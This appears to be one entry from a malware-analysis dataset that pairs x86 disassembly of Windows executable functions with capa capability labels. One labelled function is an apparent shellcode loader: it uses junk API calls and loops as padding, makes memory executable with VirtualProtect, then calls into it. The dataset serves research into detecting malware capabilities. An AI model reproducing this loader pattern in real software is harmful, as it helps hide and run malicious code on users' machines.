joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4012e5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, 0x41b01b
call fcn.0041a02c
sub esp, 0x4b8
push esi
xor esi, esi
cmp dword [0x2ee5d4c], 0x20a
push edi
jne 0x401399
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_Module32First]
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
push esi
push esi
call dword [sym.imp.USER32.dll_ClientToScreen]
xor eax, eax
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x20], esi
mov word [ebp - 0x30], ax
push 0x929
push 0xea
mov dword [ebp - 4], esi
call fcn.00401626
push esi
call fcn.00401b93
add esp, 0xc
push esi
call fcn.00401860
pop ecx
push esi
push esi
push esi
call fcn.00401965
fldz
push ecx
fst qword [esp + 8]
fstp qword [esp]
call fcn.00401570
add esp, 0x10
fstp st(0)
or dword [ebp - 4], 0xffffffff
call fcn.004012d1
push 0x423f68
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x41dd2c
push eax
mov dword [0x2ee5d40], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x2ee5d3c], eax
call fcn.004012bd
lea eax, [ebp - 0x10]
push eax
push 0x40
push dword [0x2ee5d4c]
push dword [0x2ee2b44]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp edi, 0x50956
jge 0x4013f5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBitmapBits]
cmp edi, 0x1ee948d2
jg 0x401406
inc edi
cmp edi, 0x5cb12299
jl 0x4013de
mov eax, dword [0x422e04]
mov dword [0x2ee713c], eax
call fcn.00401282
xor edi, edi
cmp dword [0x2ee5d4c], esi
jbe 0x401447
cmp dword [0x2ee5d4c], 0x44
jne 0x40143e
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
inc edi
cmp edi, dword [0x2ee5d4c]
jb 0x40141f
xor edi, edi
mov eax, dword [0x2ee5d4c]
add eax, edi
cmp eax, 0x5e
jne 0x40147c
push esi
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
push esi
lea eax, [ebp - 0x4c4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
inc edi
cmp edi, 0x40c893
jl 0x401449
call fcn.004011d5
xor eax, eax
cmp eax, 0x4f06
jne 0x40149d
add dword [0x2ee2b44], 0
inc eax
cmp eax, 0x8dde13da
jb 0x40148c
push 0x7b
pop edi
cmp dword [0x2ee5d4c], 0xd
jne 0x4014b9
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SleepEx]
dec edi
jne 0x4014a8
call dword [0x2ee2b44]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
leave
ret

Function at 0x40545d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x421bc4]
jne 0x405467
repz ret
jmp fcn.0040a016
Function at 0x40a69d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x421bc4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004033a5
and dword [ebp - 0x14], 0
cmp dword [0x423f44], 0
mov dword [ebp - 0x18], eax
jne 0x40a750
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40a7f8
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40a7f8
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x423f44], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x423f48], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x423f4c], eax
call edi
push eax
call esi
mov dword [0x423f54], eax
test eax, eax
je 0x40a750
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x423f50], eax
mov eax, dword [0x423f50]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40a7a9
cmp dword [0x423f54], ecx
je 0x40a7a9
push eax
call esi
push dword [0x423f54]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40a7a9
test ebx, ebx
je 0x40a7a9
call edi
test eax, eax
je 0x40a7a0
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40a7a0
test byte [ebp - 8], 1
jne 0x40a7a9
or dword [ebp + 0x10], 0x200000
jmp 0x40a7dc
mov eax, dword [0x423f48]
cmp eax, dword [ebp - 0x18]
je 0x40a7dc
push eax
call esi
test eax, eax
je 0x40a7dc
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40a7dc
mov eax, dword [0x423f4c]
cmp eax, dword [ebp - 0x18]
je 0x40a7dc
push eax
call esi
test eax, eax
je 0x40a7dc
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x423f44]
call esi
test eax, eax
je 0x40a7f8
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40a7fa
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040545d
leave
ret
Function at 0x403740
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41fb72
mov eax, dword fs:[0]
push eax
sub esp, 0x220
mov eax, dword [0x42b014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x14]
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
push 0x20a
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x21c]
push 0
push eax
mov dword [ebp - 0x22c], esi
mov dword [ebp - 0x228], 0
call sub.VCRUNTIME140.dll_memset
mov dword [esi + 0x10], 0
add esp, 0xc
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 7
cmp dword [esi + 0x14], 8
mov dword [esi + 0x10], 0
jb 0x4037cc
mov eax, dword [esi]
jmp 0x4037ce
mov eax, esi
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x220]
mov dword [ebp - 4], ecx
push eax
push 0x20019
push ecx
push ebx
push dword [ebp - 0x224]
mov dword [ebp - 0x228], 1
mov dword [ebp - 0x220], ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403871
lea eax, [ebp - 0x224]
mov dword [ebp - 0x224], 0x104
push eax
lea eax, [ebp - 0x21c]
push eax
push 0
push 0
push edi
push dword [ebp - 0x220]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x403865
cmp word [ebp - 0x21c], ax
jne 0x40383e
xor ecx, ecx
jmp 0x403856
lea ecx, [ebp - 0x21c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403847
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x21c]
mov ecx, esi
push eax
call fcn.00406520
push dword [ebp - 0x220]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e4c9
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4038a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41fbc2
mov eax, dword fs:[0]
push eax
sub esp, 0x220
mov eax, dword [0x42b014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x21c]
mov edi, dword [ebp + 0xc]
push 0x20a
push 0
push eax
mov dword [ebp - 0x22c], esi
mov dword [ebp - 0x224], 0
call sub.VCRUNTIME140.dll_memset
mov dword [esi + 0x10], 0
add esp, 0xc
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 7
cmp dword [esi + 0x14], 8
mov dword [esi + 0x10], 0
jb 0x40391f
mov eax, dword [esi]
jmp 0x403921
mov eax, esi
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x220]
mov dword [ebp - 4], ecx
push eax
push 0x20019
push ecx
push edi
push 0x80000002
mov dword [ebp - 0x224], 1
mov dword [ebp - 0x220], ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4039ca
lea eax, [ebp - 0x228]
mov dword [ebp - 0x228], 0x104
push eax
lea eax, [ebp - 0x21c]
push eax
push 0
push 0
push str.InstallPath
push dword [ebp - 0x220]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4039be
cmp word [ebp - 0x21c], ax
jne 0x403994
xor ecx, ecx
jmp 0x4039af
lea ecx, [ebp - 0x21c]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4039a0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x21c]
mov ecx, esi
push eax
call fcn.00406520
push dword [ebp - 0x220]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e4c9
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4041b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x42b014]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x20]
xor esi, esi
push eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], esi
call fcn.004012f0
cmp dword [eax + 0x14], 8
jb 0x4041df
mov eax, dword [eax]
lea ecx, [ebp - 0x24]
push ecx
push 0x20019
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
mov eax, dword [ebp - 0xc]
sete bl
cmp eax, 8
jb 0x40420d
inc eax
push eax
push dword [ebp - 0x20]
call fcn.004078f0
test bl, bl
je 0x404254
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 4
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], esi
push eax
lea eax, [ebp - 0x28]
push eax
push 0
push str.SupplyId
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40424b
cmp dword [ebp - 0x28], 4
jne 0x40424b
mov eax, dword [ebp - 0x2c]
mov esi, 1
mov dword [edi], eax
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 8]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e4c9
mov esp, ebp
pop ebp
ret 4
Function at 0x404570
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41fc3b
mov eax, dword fs:[0]
push eax
sub esp, 0x24c
mov eax, dword [0x42b014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov ebx, dword [ebp + 8]
xor eax, eax
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x258], 0
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
mov dword [ebp - 4], eax
push 0x208
push eax
mov dword [ebp - 0x24c], eax
lea eax, [ebp - 0x218]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x248]
mov ecx, esi
push eax
call fcn.004012f0
cmp dword [eax + 0x14], 8
jb 0x404601
mov eax, dword [eax]
lea ecx, [ebp - 0x24c]
push ecx
push 0x20019
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
mov eax, dword [ebp - 0x234]
cmp eax, 8
jb 0x404635
inc eax
push eax
push dword [ebp - 0x248]
call fcn.004078f0
test esi, esi
je 0x40465d
lea eax, [ebp - 0x230]
mov ecx, ebx
push eax
call fcn.00405a90
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x40471e
inc ecx
push ecx
jmp 0x404713
cmp dword [edi + 0x14], 8
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x254], 0x208
jb 0x404679
mov edi, dword [edi]
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x250]
push eax
push 0
push edi
push dword [ebp - 0x24c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4046e2
cmp dword [ebp - 0x250], 1
jne 0x4046e2
cmp word [ebp - 0x218], ax
jne 0x4046b7
xor ecx, ecx
jmp 0x4046cf
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4046c0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.00406520
push dword [ebp - 0x24c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x230]
mov dword [ebp - 0x24c], 0
push eax
mov ecx, ebx
call fcn.00405a90
mov eax, dword [ebp - 0x21c]
cmp eax, 8
jb 0x40471e
inc eax
push eax
push dword [ebp - 0x230]
call fcn.004078f0
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e4c9
mov esp, ebp
pop ebp
ret 8
Function at 0x404950
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41fcfb
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x42b014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x218]
mov edi, dword [ebp + 0x14]
push 0x208
push 0
push eax
mov dword [ebp - 0x24c], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esi
push 0x42386c
push eax
call fcn.00404f90
add esi, 0x2cc
cmp dword [esi + 0x14], 8
jb 0x4049c7
mov esi, dword [esi]
cmp dword [edi + 0x14], 8
jb 0x4049cf
mov edi, dword [edi]
cmp dword [eax + 0x14], 8
jb 0x4049d7
mov eax, dword [eax]
push esi
push 0x104
lea ecx, [ebp - 0x218]
push ecx
push edi
push str.KeyName
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [ebp - 0x21c]
cmp eax, 8
jb 0x404a09
inc eax
push eax
push dword [ebp - 0x230]
call fcn.004078f0
xor eax, eax
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
lea ecx, [ebp - 0x248]
lea eax, [ebp - 0x218]
mov dword [ebp - 0x220], 0
push eax
call fcn.00405b10
push str.Title
push str.KeyName
mov dword [ebp - 4], 0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
add esp, 8
test eax, eax
jne 0x404a76
call fcn.004058f0
mov ecx, eax
call fcn.00404740
test al, al
je 0x404a76
push 0x423290
lea ecx, [ebp - 0x248]
call fcn.00405a00
lea eax, [ebp - 0x248]
mov ecx, ebx
push eax
call fcn.00405a90
mov ecx, dword [ebp - 0x234]
cmp ecx, 8
jb 0x404a9c
inc ecx
push ecx
push dword [ebp - 0x248]
call fcn.004078f0
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e4c9
mov esp, ebp
pop ebp
ret 0x10
Function at 0x404f90
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41fd9b
mov eax, dword fs:[0]
push eax
sub esp, 0x45c
mov eax, dword [0x42b014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 0xc]
xor eax, eax
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x434], 7
mov dword [ebp - 0x438], 0
mov word [ebp - 0x448], ax
cmp word [edi], ax
jne 0x404ff6
xor ecx, ecx
jmp 0x40500f
mov ecx, edi
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x405000
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0x448]
call fcn.00406520
push str.Engine
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
add esp, 8
test eax, eax
je 0x405066
cmp dword [esi + 0x318], 0
jne 0x405066
cmp dword [esi + 0x31c], 0
jne 0x405066
lea eax, [ebp - 0x448]
mov ecx, ebx
push eax
call fcn.00405a90
lea ecx, [ebp - 0x448]
call fcn.00405a50
jmp 0x405198
push 0x20a
lea eax, [ebp - 0x220]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [esi + 0x318], 0
je 0x4050a4
push dword [esi + 0x10]
lea eax, [ebp - 0x220]
push edi
push str._s__d
push 0x104
push eax
call fcn.00412000
add esp, 0x14
jmp 0x4050f6
cmp dword [esi + 0x31c], 0
je 0x4050f6
lea eax, [ebp - 0x460]
mov ecx, esi
push eax
call fcn.004014f0
cmp dword [eax + 0x14], 8
jb 0x4050c3
mov eax, dword [eax]
push eax
push edi
push str._s__s
lea eax, [ebp - 0x220]
push 0x104
push eax
call fcn.00412000
mov eax, dword [ebp - 0x44c]
add esp, 0x14
cmp eax, 8
jb 0x4050f6
inc eax
push eax
push dword [ebp - 0x460]
call fcn.004078f0
push 0x20a
lea eax, [ebp - 0x430]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esi, 0x2cc
add esp, 0xc
cmp dword [esi + 0x14], 8
jb 0x40511a
mov esi, dword [esi]
push esi
push 0x104
lea eax, [ebp - 0x430]
push eax
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionW]
test eax, eax
je 0x405172
cmp word [ebp - 0x220], 0
jne 0x405146
xor ecx, ecx
jmp 0x40515f
lea ecx, [ebp - 0x220]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x405150
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x448]
call fcn.00406520
lea eax, [ebp - 0x448]
mov ecx, ebx
push eax
call fcn.00405a90
mov eax, dword [ebp - 0x434]
cmp eax, 8
jb 0x405198
inc eax
push eax
push dword [ebp - 0x448]
call fcn.004078f0
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e4c9
mov esp, ebp
pop ebp
ret 8
Function at 0x406f40
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4200be
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x42b014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [edi], eax
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
lea ebx, [edi + 0x10]
mov byte [ebp - 4], 1
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push 0
mov ecx, ebx
mov dword [ebp - 0x14], 0
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
call fcn.00409ba0
mov dword [ebx + 0xc], 0
lea esi, [edi + 0x20]
mov byte [ebp - 4], 2
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], esi
push eax
push 0
mov ecx, esi
mov dword [ebp - 0x14], 0
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call fcn.00409ba0
mov dword [esi + 0xc], 0
lea esi, [edi + 0x38]
mov dword [edi + 0x30], 0
mov byte [edi + 0x34], 0
mov dword [ebp - 0x14], esi
mov dword [esi + 0x24], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp + 0x34]
test ecx, ecx
je 0x40702e
mov eax, dword [ecx]
push esi
call dword [eax]
mov dword [esi + 0x24], eax
mov al, byte [ebp + 0xc]
lea ecx, [edi + 0x70]
mov byte [ebp - 4], 5
mov byte [edi + 0x60], al
push 8
mov byte [edi + 0x68], 8
call fcn.00407ed0
mov byte [ebp - 4], 6
xor edx, edx
mov eax, dword [ebx + 0xc]
mov esi, dword [ebx]
mov byte [ebp - 0xd], 1
test eax, eax
je 0x407084
mov edx, eax
test edx, edx
jns 0x407079
neg eax
je 0x407079
or ecx, 0xffffffff
mov eax, 0xfffffffc
sub ecx, edx
shr ecx, 5
shl ecx, 2
sub eax, ecx
add esi, eax
jmp 0x407081
mov eax, edx
shr eax, 5
lea esi, [esi + eax*4]
and edx, 0x1f
push edx
push esi
lea eax, [ebp - 0xd]
push eax
push ecx
lea eax, [ebp - 0x18]
mov ecx, ebx
push eax
call fcn.00409910
mov dword [ebp - 4], 7
mov ecx, dword [ebp + 0x34]
test ecx, ecx
je 0x4070b5
mov esi, dword [ecx]
lea eax, [ebp + 0x10]
cmp ecx, eax
setne dl
movzx edx, dl
push edx
call dword [esi + 0x10]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x30

Function at 0x411970
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x411985
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4119c6
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x4119c2
nop word [eax + eax]
cmp esi, edx
jae 0x4119c6
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x4119b0
cmp esi, edx
jb 0x4119cb
xor eax, eax
pop esi
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret
Function at 0x411d50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi]
add eax, eax
mov dword [edi], 0
mov dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push eax
push esi
lea eax, [ebp + 0xc]
push eax
push 0
push 0x423994
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x411dc3
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x411d91
cmp eax, 2
jne 0x411dad
mov ecx, dword [ebp + 0x10]
test esi, esi
je 0x411dbd
test ecx, ecx
je 0x411db8
test cl, 1
jne 0x411dad
mov eax, ecx
shr eax, 1
cmp word [esi + eax*2 - 2], 0
je 0x411dbd
pop edi
mov eax, 0xd
pop esi
pop ebp
ret 0xc
xor eax, eax
mov word [esi], ax
shr ecx, 1
xor eax, eax
mov dword [edi], ecx
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x412120
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x42b014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x40
lea eax, [ebp - 0x44]
mov dword [ebp - 0x54], 0
push 0
push eax
mov si, cx
xor bl, bl
call sub.VCRUNTIME140.dll_memset
movzx eax, si
push eax
lea eax, [ebp - 0x44]
push str.__c:
push eax
call fcn.00412760
add esp, 0x18
lea eax, [ebp - 0x44]
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x412194
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041e4c9
mov esp, ebp
pop ebp
ret
push 0x229
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
lea eax, [ebp - 0x54]
xorps xmm0, xmm0
push 0
push eax
push 0x228
push esi
push 0xc
lea eax, [ebp - 0x50]
mov dword [esi + 4], 0x228
push eax
push 0x2d1400
movq qword [ebp - 0x50], xmm0
push edi
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x4121f1
cmp dword [esi + 0x1c], 7
sete bl
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e4c9
mov esp, ebp
pop ebp
ret
Function at 0x412220
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x42b014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
movzx eax, cx
push eax
lea eax, [ebp - 0x44]
push str._c:_test.tmp
push eax
call fcn.00412760
add esp, 0xc
lea eax, [ebp - 0x44]
push 0
push 0x4000000
push 2
push 0
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4122f4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x50]
push eax
push 4
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x50], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x4122ed
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4122ed
push 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], 0
push eax
push 4
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, 1
jne 0x4122ed
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x4c]
jne 0x4122ed
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041e4c9
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
pop esi
call fcn.0041e4c9
mov esp, ebp
pop ebp
ret